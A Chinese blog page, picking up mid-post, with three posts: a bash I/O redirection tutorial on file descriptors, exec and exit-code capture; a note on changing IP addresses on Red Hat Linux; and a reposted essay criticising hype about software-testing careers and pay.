        6. cmd4 的 stdout 定向到文件 b, stderr 定向到屏幕
        7. cmd1 的返回码赋给变量 s
        8. 不能利用临时文件


      解决方法:
        exec 3>&1; exec 4>&1
        my_value=$(((((cmd1 1>&3 ; echo $? >&4 )| cmd2 ) 3>&1 | cmd3 >a 2>&3 ) 2>&1 | cmd4 >b ) 4>&1)
        exec 3>&-; exec 4>&-  


      解释:
              exec 3>&1; exec 4>&1
    建立FD3 ,给cmd1恢复其FD1用和给cmd3 恢复其FD2用;
    建立FD4,保存“echo $?”输出值的“草稿纸”

              第一对括号到第一个管道:(cmd1 1>&3 ; echo $? >&4 )|
        cmd1本身没有stdin,其stdout原要送往第一个管道,由于1>&3的作用,其stdout被送往FD3;而 >&4 的作用实际是将 cmd1 运行后的返回码送往 FD4。cmd1的stderr默认等待下一步处理。最后,没有往管道送任何东西;

              第二对括号到第二个管道:((cmd1 1>&3 ; echo $? >&4 )| cmd2) 3>&1|
        由于第一个括号中cmd1的 stdout 被送往 FD3,导致管道左端没有任何输入,cmd2 从而就没有stdin。cmd2 的stdout则为默认的;
        将第二对括号看出一个命令,其所有的stdout送往第二个管道“|”;同时由于3>&1的作用,原先cmd1的stdout在送往FD3 又与cmd2的stdout并到一起,所以cmd1 和 cmd2 的 stdout 都送往第二个管道“|”。而cmd1、cmd2的stderr仍然默认等待下一步处理;

              第三对括号到第三个管道:(((cmd1 1>&3 ; echo $? >&4 )| cmd2 ) 3>&1 | cmd3 >a 2>&3 ) 2>&1|
        cmd3 >a 2>&3:cmd3接收处理来自管道的stdin后,其 stdout 送给文件a,其stderr送往FD3,由于FD3继承FD1,实际上其stderr是送往monitor。如果没有“2>&3”,那么cmd3的stderr就会干扰cmd1和cmd2的错误输出,所以它是必须的;
        将第三个括号里完全看作一个命令,其stdout送往管道 “|”,由于2>&1,于是stderr也送往着管道。但由于cmd1、cmd2的stdout已经送给了cmd3处理,而cmd3的stdout输出到文件a,cmd3的stderr也送往monitor,所以实际上只有cmd1和cmd2的stderr送往管道。

              cmd4 >b:cmd4接收处理来自管道的stdin后,其stdout 定向到文件 b,stderr 默认输出到monitor。

              第四对括号:( (((cmd1 1>&3 ; echo $? >&4 )| cmd2 ) 3>&1 | cmd3 >a 2>&3 ) 2>&1|  cmd4 >b ) 4>&1
        四对括号里面所有命令的 FD1、FD2都处理完了,但是还有“echo $? >&4”没处理。“4>&1”的作用就是“将FD4并到stdout”,但由于其他命令的stdout都处理完了,实际上就只有 $? 的值。
        又由于 $() 会建立一个管道,输入端为()内命令,故 $? 的值被赋给变量 my_value。

              最后一行是关闭FD3和FD4。
        另:恢复重定向或关闭的stdout:exec 1>&2 ,恢复重定向或关闭的stderr:exec 2>&1。如果stdout和stderr全部都关闭了,又没有保存原来的FD,可以用:exec 1>/dev/tty 恢复。

    ++++++++++++++++++++++++++++++++++++++++++++
    我尝试回答下面的问题。如有错误,还请各位前辈指正!


    7、在一个交互式的(Interactive) shell 中, 用 exec 进行 I/O 重定向.
      1). Stdin, stderr 可以定向到文件中吗? 有什么结果?
        a、在交互式shell中,可以将stdin定向到文件。执行:exec 0<in
    结果为:in 文件中每一行均会被自动执行,并且在最后会再加执行一个 exit 命令,导致退出(或退回到正常shell下)。
    如 in 文件内容:$ more in
    date
    read lsp
    echo hahha
    echo "this is $lsp"

    在提示符下执行命令:$ exec 0<in    (以下为自动输出,除 # 及 # 后那行的内容)
    $ date
    Tue Jan 18 18:29:07 HKT 2005
    $ read lsp                # 其下面本应有的那句“ echo hahha ”的 “hahaha” 已经被读入到变量 lsp 中了
    $ echo "this is $lsp"
    this is echo hahha
    $ exit

        b、在交互式shell中,可以将stderr定向到文件。执行:exec 2>err
    结果为:命令提示符PS被屏蔽,输入的命令也被屏蔽。但是命令执行的结果,如果是stdout 则会回显到屏幕上,如果是 stderr 则不会回显到屏幕上。其中,命令提示符、命令、stderr均会保存到文件 err 中。如:
    $ exec 2>err
    err  in  out                                                # 执行 ls 命令
    Tue Jan 18 18:55:58 HKT 2005                        # 执行 date 命令,而后执行了“ ls nofile”,nofile这个文件不存在
    $                                                                 # 执行 exit 命令

    现在让我们查看 err文件:
    $ more err
    [lsp@ii lsp]$ ls
    [lsp@ii lsp]$ date
    [lsp@ii lsp]$ ls nofile
    ls: nofile: No such file or directory
    [lsp@ii lsp]$ exit
    exit

        c、在交互式shell中,可以将stdout定向到文件。这个使我们常用到的。就不说了。就是将错误的输出内容定向到文件中。正确的输出内容并不受影响。

      2). Stdin, Stderr 可以关闭吗? 有什么结果?
    在交互式shell中,如果关闭stdin,如:exec 0<&- ,其结果是退出(或退回到正常shell下)。
    在交互式shell中,如果关闭stderr,如:exec 2>&- ,状态同stderr定向到文件,唯一不同的是没有保存下来。
    在交互式shell中,如果关闭stdoutr,如:exec 1>&- ,只要执行有stdout或stderr内容送往 monitor 的命令,如ls、date这类命令,均会报错:“ls: write error: Bad file descrīptor”。其他如cd、mkdir、……这类命令不受影响。

      3). 如果 stdin, stdout, stderr 进行了重定向或关闭, 但没有保存原来的 FD, 可以将其恢复到 default 状态吗?
    *** 如果关闭了stdin,因为会导致退出,那肯定不能恢复。
    *** 如果重定向或关闭 stdout和stderr其中之一,可以恢复,因为他们默认均是送往monitor(但不知会否有其他影响)。如恢复重定向或关闭的stdout:exec 1>&2 ,恢复重定向或关闭的stderr:exec 2>&1。
    *** 如果stdout和stderr全部都关闭了,又没有保存原来的FD,可以用:exec 1>/dev/tty 恢复。

    +++++++++++++++++++
    下面参考了 r2007 兄的回复!谨以致谢!
    +++++++++++++++++++

    8、cmd >a 2>a 和 cmd >a 2>&1 为什么不同?
        cmd >a 2>a :stdout和stderr都直接送往文件 a ,a文件会被打开两遍,由此导致stdout和stderr互相覆盖。
        cmd >a 2>&1 :stdout直接送往文件a ,stderr是继承了FD1的管道之后,再被送往文件a 。a文件只被打开一遍,就是FD1将其打开。

        他们的不同点在于:
        cmd >a 2>a 相当于使用了FD1、FD2两个互相竞争使用文件 a 的管道;
        而cmd >a 2>&1 只使用了一个管道FD1,但已经包括了stdout和stderr。
        从IO效率上来讲,cmd >a 2>&1的效率更高。

  • Redhat如何查看和修改IP地址

    liuxiaoluck 发布于 2009-06-10 22:43:01

    由于公司搬家,原来LINUX应用服务器的IP都被重新分配,于是就涉及在LINUX查看和修改IP的问题.

    首先是查看当前机器网卡的IP

    1.显示当前启动的网络接口命令:

    ifconfig

    2.查看当前所有网络接口命令:

    ifconfig -a

    3.查看指定网络接口命令:

    ifconfig eth0

    在LINUX下修改IP分为二种情况,

    1.调试时修改IP,仅在当前生效,重启后恢复为原有IP

    ifconfig eth0 192.168.63.27 netmask 255.255.255.0 route add default gw 192.168.63.1 up

    2.永久生效(即重启后也能生效)

    方法1:配置网卡的配置文件  

    修改/etc/sysconfig/network-scripts/ifcfg-eth0

    然后重启服务service network restart生效,或者/etc/init.d/network restart生效

    方法2:

    将ifconfig eth0 192.168.63.27 netmask 255.255.255.0 route add default gw 192.168.63.1 保存在/etc/init.d/rc.local文件中

  • 【转】Zee虚假的测试繁荣

    tianmimi521 发布于 2009-05-22 14:26:51

    原文请见:
    http://www.7dtest.com/bbs/thread-1952-1-1.html
    测试7刊-7点测试论坛出品-第六期

    软件测试行业缺口多少多少万、
    软件测试人员比博士还值钱、
    软件测试越老越吃香、
    软件测试是金饭碗、

    等等等等。

    以下是我的一些个人看法。
    1.        行业
    我们都知道媒体的报到都是因为一些利益驱动的,并不是为了良心和行业的良性发展,要是从工作的角度来说,我觉得他们很到位,但是少了一点,就是社会责任心。做为一个有良知的知识分子,我觉得应该说点事实,不要把一个本来挺好的行业最后糟蹋的不像样子。做为一个软件测试从业人员(我从一毕业就开始做软件测试),我觉得这些都不靠谱。
    在我的记忆中,跟测试同行聊天时,软件测试行业的缺口是一个所谓的牛人被媒体采访时问到的。但是这个牛人,自己也没有做过统计,于是乎,两眼一转,把心一横,在我不知道别人也不可能知道的心态下说出了这么一个数据:大概30万吧。实际上,这个数据没有经过任何公开的媒体调查(如果调查了后,就是这个数据,我觉得还有点借鉴意义)。结果就被一些写手们越扯越大。反正写错了,也没人打屁股,要写就要引人眼球,可劲的造吧。这种鼓吹的结果就是让一群人很盲目的进入了这个行业,结果发现根本不是那么一回事。于是经常看到有人问,我什么什么经历,转测试行不行呀?就有些人很不负责任的回答:只要努力,就行!我靠,也不想想,人家那么多年的其他行业的经验,为什么还要转测试呀?工资也不见得就高(这个问题稍后细说),也不见得轻松,上升空间也不见得有原来的行业多,干吗要鼓励人家换这个行业呀?(排除有些人骨子里就喜欢测试这个行业的。另:大部分人工作还是工作,并不是当成事业来做的,所以谈不上对哪个行业有非常深的兴趣)。
    所以在选择这个行业的时候,还是需要理智的思考的,曾经有一个朋友,工作大概四五年了,做过:网管、保安、保险推销等等的工作,技术基本没有积累。问我:我能不能转行做测试?我问了他一些基本的计算机知识和测试的基本知识,我说:你还是别转了,不如做点其他的事情。不过我也说了,我只是提个你不要转的建议,你要是非想转,我也可以告诉你要学什么。在很多情况下,我觉得更理性的思考才说出建议和决定比较合理,不要以为有了一份心就什么都有了,两码事。因为人的激情是有时间间隔的。
    测试人员的素质要求。可能是因为我进入了这个行业,老是有人在说这个行业的人需要什么样的技术和素质。大多数的都会提到一个字眼:浮躁。就是测试人员切忌浮躁。我晕,什么人不忌浮躁呀?这是对人的基本素质要求,而不是对测试行业的人的素质要求。可能有人说了,测试嘛,要细心,浮躁了就不能细心了。这种说法貌似合理了。但是,这绝不是测试人员的核心要求。极端一些说(因为极端的假设可以让问题更清晰),如果一个人只有细心,你是测试招聘人员,你会招吗?那这里就涉及到另一个问题了:就是要有技术。什么是技术呢?测试行业什么是技术呢?突然有这个问题似乎让人不知道怎么回答,有一种满肚子都是话突然之间倒不出来的感觉。于是,冷静一会,这种喜欢吹嘘的人就会摆出一堆话来:测试理论呀、测试方法呀、测试工具呀、测试流程呀等等等不都是技术吗?在我有限的知识体系里,个人觉得,这些都不是技术,只是测试人员应该有的常识。测试工具的使用只是测试人员应该掌握的技巧。

    2.        薪水
    薪水的诱惑。我看到过很多次说软件测试行业薪水如何如何高?XX出来不是八千就是五千的。还有人说,软件测试行业是IT中最高薪的行业,越老越值钱!我个人觉得软件测试行业绝对不是常青树。也不可能越老越值钱。现在做软件测试,找工作的人,一堆一堆的。好好看看这个市场,它不是缺少要做软件测试的人,而是缺少有经验的人。并且一般的经验,也不值什么钱。工作三四年(甚至更多)的人,5-6千的人,大有人在,而不是像有些广告上说的,这个行业进来就是万儿八千的。以为是找BUG是捡钱玩呀?我遇到的做测试的,工作十年左右的,也不过是在万元左右。人家这么多年都是白混的呀?在软件测试行业,从纯技术的角度来说:能拿到2万/月的人,很少很少。(请不要以某个个例来反驳,因为个例没有意义)。有些人挤破的头皮进外企。从大局来看(仅个人观点),外企在国内就没有真正把技术拿进来过(这里应该说大部分,不能一棍子全打了),所做的也无非是些边边角角的苦力活。所以外包才有市场,才会发展起来。几乎我认识的所有的测试行业的人都说外包没有技术含量,国内的外企难道不像外包吗?只是形式不同罢了。就拿中国的某些制造业来说,也有一部分属于这种状况,结果金融风暴来了,人家倒了,你也倒了。曾经有不止两个在软件业混了十几年的人跟我说:中国没有什么技术(我知道这句话有失偏颇,但它反应了一些现状)。再回到软件测试这个行业,首先,我认为刚毕业的大学生,不要指望一下子能爬多高。走的不稳总有一天摔倒。如果家里特有钱,像我一华为的同学跟我说的,那里有开着奔驰去上班的,一个月拿几千块钱的。人家那是自我实现追求。而我们大部分的人,还是老老实实的,想想这一生应该怎么过,才能买得起房子,买得起个二十万以下的车吧。软件测试从业人员,自己把自己一辈子能赚的钱都算算。你这一辈子的闲钱能达到十万吗?你敢乱花乱玩吗?你没有先消费后还贷吗?这是时尚,还是不得已而为之?是你的能力不足,还是这个行业已经限制了你的上限?就算是你到了级别,有多少人可以到副总?有多少人是技术总监?就算你是技术总监,又有多少公司的技术总监一年超过30W?我出来工作两三年之后,就有人说,我的工资涨的飞快。我个人在想,这些钱,还不够我的生活。因为我也要买房,买车,生儿育女,赡养老人。有没有想过这些事情,如果全压在你和你老婆(老公)身上的时候,多少的薪水够用的?有人也说了,有钱就过有钱人的生活,没钱就过没钱人的生活,反正过穷富不是一样过吗?一辈子很快就过去了。这种说法是无奈还是满足现状?说的时候心酸吗?看着自己的孩子和别人的孩子上的不一样的学校。玩的游戏没有人家玩的好,你什么感觉?就告诉自己,我的能力只能是这样了吗?选择一个行业,你就要知道,这个行业的薪水段在什么样的层次,就像一个同事跟我说的:一个片警拿一个包出去赌钱,里面都是几百万的人民币。你是不是遗憾自己选错了行呢?当然不能这样对比对吧。因为我们靠自己的能力,吃自己的饭。呵呵,这么对比一下就是要看这个文章的人想清楚,你想拿多少工资?这个行业能给你的只有这么多,你自己选择去吧。当然,也要看清楚的是,这个行业,比出去在大太阳下搬砖强多了。
    好吧,薪水暂时靠一段落。

    3.        技术
    技术,真实认真做软件测试的人应该有这样一种感觉。软件测试不容易做。它需要的知识太多了。如果仅玩数据库,只要把oracle搞的特别精通,我想一年工资二十万应该没有什么问题吧。但是软件测试行业是你要把好几种工具和语言都玩精通可能才值那么多钱。就拿性能测试来说吧(因为这一块是我一直做的,拿来打比方应该偏差不会太大),你只会性能测试工具就敢出去要万元/月以上的工资了吗?你敢要,谁愿意给呀?别以为自己可以是根葱了,其实还没发芽。我们都知道,在软件测试行业的JD一般都是:OS/network/DB/tools/applications /middleware、还有一些语言呀,脚本(脚本也是一种语言这里分开一下)呀,都包括的,就算不全包括,也要有一部分。你得懂呀?不懂全部,你得懂几个吧?你不懂,有人懂呀。那工作机会不就没了吗?怎么办呢?学吧。每天晚上搞到一两点,死劲的玩这些东西,大概找工作的时候,可以跟人侃了。我这个也会了那个也会了。但是呢,不能问深。因为学的广嘛。所以哪有时间细细的琢磨呢。所以问深了就晕了。人家一看,唉,这个人不求甚解,算了吧。也许很巧合,面试了一家公司,人家问的,也都被你忽悠上来了。总算找一工作。也是刷了好多人的。要是能把上面所说的每个东西,都玩了个精通,那出去找工作,问什么会什么,太牛B了。但是公司毛了,这样的人,我们能养得起吗?这种情况很少出现,我们就不去说它了。还要说软件测试行业。其实我们也知道,软件测试行业,在要求广泛的同时,也开始慢慢细化。越来越强调专向发展的人。所以,在进入这个行业的人,不要指望能把所有的公司JD都拿得下来,你只需要考虑是不是能满足其中一两种就可以了。并且仅这一两种也大概够你玩个十多二十年的。到那时,你已经不值钱了,因为还有一堆堆的年轻人在嗷嗷的叫着找这类的工作。国内工作到四十岁的技术人员,还有纯干技术的吗?(当然是有的,这里我说的是大部分情况下)我也有纯技术做了一二十年的同事,他自己也说他这种现象不正常。(这个和国家的福利待遇等都有关系,我这里不再展开说了。)

    4.        追逐

    追逐,如果从现在的大学生失业率来看的话,进入这个尚末成熟的软件测试行业,不见得是件坏事,因为乱世出英雄嘛。当然,在出英雄的前提下,就会有些怀才不遇的人很快的被糊里糊涂地砍倒在战场上。所以进入这个战场,就做好看清流弹的准备。不要报怨,认真的走好自己的路,不要和别人对比,因为不成熟的市场是没有什么可比性的。技术路线和泡沫市场的路线差距还是很大的。当然IT的技术路线和传统工业的技术路线差距也是很大的。我们基本上也算是产业工人的一部分,但是,我们并不是越老越值钱,如果不尽快在自己老到被人推倒在沙滩上之前赶紧找到自己的位置,相信在自己没有可利用的价值之后,很快就被淘汰。一个人被利用并不悲哀,悲哀的是没有可利用的价值。从比较职场的语言来说,我们之所以有工作,是因为老板们或者领导们认为我们还可用,想拿的工资更多,就让领导们觉得我们还有更多可用的地方。所以,尽量的去追逐那些在市场上看来有价值的知识,从而让自己的打工路,更平坦。(如果不想打工的话,那就追逐当老板应该有的知识。)不过,要注意这条路上,重点要知道自己追逐的是什么,而不是随大潮,看着别人玩什么自己也玩什么。很快那些大众型的知识都不值钱了(IT的更新也是很快的),所以要找准自己的位置。

    谨以此文,描述个人对测试行业的看法。如果打击到某些人或某类人,请见谅。

Open Toolbar